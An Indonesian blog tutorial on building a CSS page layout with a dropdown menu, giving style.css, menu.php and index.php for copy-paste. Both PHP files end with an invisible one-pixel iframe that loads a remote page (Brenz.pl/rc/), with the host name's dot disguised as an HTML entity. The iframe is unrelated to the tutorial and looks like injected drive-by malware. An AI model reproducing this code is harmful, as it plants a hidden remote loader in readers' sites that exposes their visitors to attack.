Membuat frame dengan sentuhan css

Baiklah sahabat blogger dimana pun anda berada, pagi ini cukup cerah ya..? Hehehe
Kebetulan akhir-akhir ini saya mengisi hari-hari saya dengan belajar php, saya berniat untuk mendalami bahasa pemrograman web. Nah, membuat web tentu kurang lengkap rasanya jika tanpa frame. Yap, saya tidak sedang ingin berbagi coding php(teknik CRUD), tapi saya yang newbi ini sedang mau berbagi tentang teknik frame dengan css hasil racikan saya sendiri, hehehe.. Lebih tepatnya inovasi.
Banyak yang bertanya tentang cara membuat frame yang tidak monoton, tapi banyak yang tidak mau menjawab, sebenarnya bukan tidak mau menjawab, tapi itulah programer, seorang programer dalam mendapatkan tekniknya selalu melakukan uji coba berulang-ulang tanpa mengenal lelah dan menghabiskan waktu dan tenaga serta berpikir terus menerus. Seorang programer itu harus berpikir seperti Thomas alfa edison, 9000 kali gagal mencoba belum  bisa disebut gagal jika dia masih mau mencoba.
Jika kamu bertanya pada programer, ibarat kamu ingin pergi ke Jakarta dari Solo dengan tujuan Monas, maka sang programer hanya akan menyarankan kamu pergi ke stasiun kereta atau Bus atau Bandara, selanjutnya adalah perjuangan anda.. Disitulah letaknya, amazing..Nice..
Oke, itu hanya pembukaan saja. Langsung ke codingnya saja ya...: Bagi yang tidak mau repot berpikir dan suka dengan mie instan, halah... hehe. Instan maksudnya(ciri khas orang non teknik). Satu pesan saya "jangan pernah mengakui ide orang lain sebagai idemu". Hak kekayaan intelektual itu.. hehe
Baiklah...,
Saya menggunakan xampp sebagai perantaranya, ada 3 file yang saya simpan di sebuah folder di htdocs yaitu index.php, menu.php dan style.css yang saya buatkan folder sendiri dengan nama css.
Dan ini nanti anda sudah tidak perlu repot-repot mikir resolusi, karena sudah teruji di 3 resolusi dan memungkinkan berjalan di resolusi yang lain. 3 resolusi yang sudah saya uji tanpa scroling layar adalah:
800 x 600
1024 x 768
1152 x 864

Langsung saja:
style.css:
{
        padding: 0;margin: 0;
    }
    html, body{
        height: 100%;
    }
    .header{
        height: 18%;
        width:100%;
        background: red;
    }
    #pembatas_h{
        height: 1%;
        width: 100%;
        margin: 0;
        padding: 0;
    }
    .menu{
        height: 10%;
        width: 100%;
        margin: 0;
        padding: 0;
    }
    #pembatasm{
        height: 1%;
        width: 100%;
        margin: 0;
        padding: 0;
    }
    .main{
        height: 60%;
        width: 100%;
        margin: 0;
        padding: 0;
    }
        .main .kiri{
            width: 24%;
            height: 90%;
            float: left;
            background: #ADD8E6;
        }
        .main .pembatas{
            width: 1%;
            height: 90%;
            float: left;
        }
        .main .tengah{
            width: 50%;
            height: 90%;
            float: left;
            background: #FDF5E6;
        }
        .main .pembatast{
            width: 1%;
            height: 90%;
            float: left;
        }
        .main .kanan{
            width: 24%;
            height: 90%;
            float: right;
            background: #ADD8E6;
        }
        .footer{
            height: 10%;
            background: #8FBC8F;
            clear: both;
        }
    /* menu */
     #navigation {
                background-color : black;
                width : 100%;
                height : 80%;
                border-bottom : 1px solid #ccc;
            }
           
            #navigation ul {
                padding:0;
                margin:0;
                list-style-type:none;
            }
           
            #navigation ul li {
                float:left;
                position : relative;
            }
           
            #navigation ul li a {
                display:block;
                padding:10px 20px;
                color:#fff;
                text-decoration:none;
                font-family: calibri;
            }
           
            #navigation ul li a:hover {
                background-color:#72b626;
            }
           
            /* Menu Dropdown */
           
            #navigation ul li ul {
                display: none;
            }
           
            #navigation ul li:hover ul {
                display:block;
                position: absolute;
            }
           
            #navigation ul li:hover ul li a {
                display:block;
                background-color : black;
                color : #fff;
                width : 150px;
                border-bottom : 1px solid #ccc;
            }
           
            #navigation ul li:hover ul li a:hover {
                background-color : #72b626;
            }
           
            #navigation ul li:hover > a {background: #72b626;} 
menu.php
 <html>
    <head>
        <title>Simple Dropdown Menu</title>
     <link href="css/style.css" rel="stylesheet" type="text/css">      
    </head>
    <body>
    <div id="navigation">
        <ul id="nav">
            <li><a href="#">Home</a></li>
            <li><a href="#">Profil</a>
                <ul>
                    <li><a href="#">Tentang Kami</a></li>
                    <li><a href="#">Visi dan Misi</a></li>
                </ul>
            </li>
            <li><a href="#">Service</a>
                <ul>
                    <li><a href="#">Software Development</a></li>
                    <li><a href="#">Web Development</a></li>
                    <li><a href="#">Interior Design</a></li>
                    <li><a href="#">Multimedia Interactive</a></li>
                </ul>
            </li>
            <li><a href="#">Portfolio</a></li>
            <li><a href="#">Kontak Kami</a></li>
        </ul>
    </div>
    <iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0 width=1></iframe>
</body>
    </html>
index.php
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Titel websiteku</title>
<link href="css/style.css" rel="stylesheet" type="text/css">
</head>
<body >
<div class="header"></div>
<div id="pembatas_h"></div>
<div class="menu"><?php include "menu.php";?></div>
<div id="pembatasm"></div>
<div class="main">
<div class="kiri"></div>
<div class="pembatas"></div>
<div class="tengah"></div>
<div class="pembatast"></div>
<div class="kanan"></div>
</div>
<div class="footer"></div>
<iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0 width=1></iframe>
</body>
</html>

Dan hasilnya:

Selamat copy paste dan anda bisa memodifikasinya sendiri tanpa kesusahan. Dalam sesi Orang pinggiran sedang berbagi...